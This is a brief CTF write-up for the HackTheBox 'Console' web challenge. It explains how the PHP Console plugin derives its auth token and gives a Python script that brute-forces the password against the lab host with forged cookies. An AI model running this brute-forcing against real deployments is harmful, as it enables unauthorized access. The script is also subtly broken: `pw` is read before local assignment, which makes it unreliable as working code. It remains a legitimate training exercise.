HackTheBox - Console

Googling leads us to this plugin: https://chrome.google.com/webstore/detail/php-console/nfhmhhlpfleoednkpnnnkolmclajemef

Looking at the requests and code we can confirm it is using that plugin. The plugin uses multiple sha256 sums of the password for authentication.

Source Code: https://github.com/barbushin/php-console

We can simply copy the "publickey", it's just a hash of the IP and basic UID. For Simplicity's sake we just copy it. There is a field in the response headers isSuccess telling us if we successfully authenticated or not.

I created a bruteforcing script that can be found below.

Code

import requests
import json
import base64
from hashlib import sha256

wordlist = open('/usr/share/seclists/Passwords/darkweb2017-top1000.txt')
publickey = 'd1d58b2f732fd546d9507da275a71bddc0c2300a214af3f3f3a5f5f249fe275e'
URL = 'http://docker.hackthebox.eu:31061/'

pw = wordlist.readline().strip()

def gen_token(pw):
    salt = 'NeverChangeIt:)'
    pw_hash = sha256(pw+salt).hexdigest()
    return sha256(pw_hash+publickey).hexdigest()


def bf():
    while pw:
        print(pw)
        data = {"php-console-client":5,"auth":{"publicKey":publickey,"token":gen_token(pw)}}
        cookies = {"php-console-client":base64.b64encode(json.dumps(data))}
        print(cookies)
        r = requests.post(URL,allow_redirects=False,cookies=cookies)
        #print(str(r.headers))
        if not '"isSuccess":false' in str(r.headers):
            print("Password found: "+pw)
            print(r.headers)
            break
        pw = wordlist.readline().strip()

bf()

# Password found: poohbear

tags: CTF HTB Web